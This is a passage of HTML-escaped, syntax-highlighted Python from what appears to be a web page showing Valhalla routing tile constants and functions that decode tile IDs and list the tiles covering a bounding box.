&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valhalla_tiles &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [{&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;level&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.25&lt;/span&gt;}, {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;level&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;1.0&lt;/span&gt;}, {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;level&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;4.0&lt;/span&gt;}]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LEVEL_BITS &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TILE_INDEX_BITS &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ID_INDEX_BITS &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;21&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LEVEL_MASK &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;LEVEL_BITS) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TILE_INDEX_MASK &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;TILE_INDEX_BITS) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ID_INDEX_MASK &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;ID_INDEX_BITS) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INVALID_ID &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (ID_INDEX_MASK &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; (TILE_INDEX_BITS &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; LEVEL_BITS)) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;|&lt;/span&gt; (TILE_INDEX_MASK &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; LEVEL_BITS) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;|&lt;/span&gt; LEVEL_MASK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;get_tile_level&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt; LEVEL_MASK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;get_tile_index&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; LEVEL_BITS) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt; TILE_INDEX_MASK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;get_index&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; (LEVEL_BITS &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; TILE_INDEX_BITS)) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt; ID_INDEX_MASK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;tiles_for_bounding_box&lt;/span&gt;(left, bottom, right, top):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#if this is crossing the anti meridian split it up and combine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; left &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; right:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    east &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tiles_for_bounding_box(left, bottom, &lt;span style=&#34;color:#f5a97f&#34;&gt;180.0&lt;/span&gt;, top)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    west &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tiles_for_bounding_box(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;180.0&lt;/span&gt;, bottom, right, top)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; east &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; west
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#move these so we can compute percentages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  left &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;180&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  right &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;180&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  bottom &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;90&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  top &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;90&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  tiles &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#for each size of tile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; tile_set &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; valhalla_tiles:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#for each column&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(left&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;tile_set[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;]), &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(right&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;tile_set[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;]) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#for each row&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(bottom&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;tile_set[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;]), &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(top&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;tile_set[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;]) &lt;span 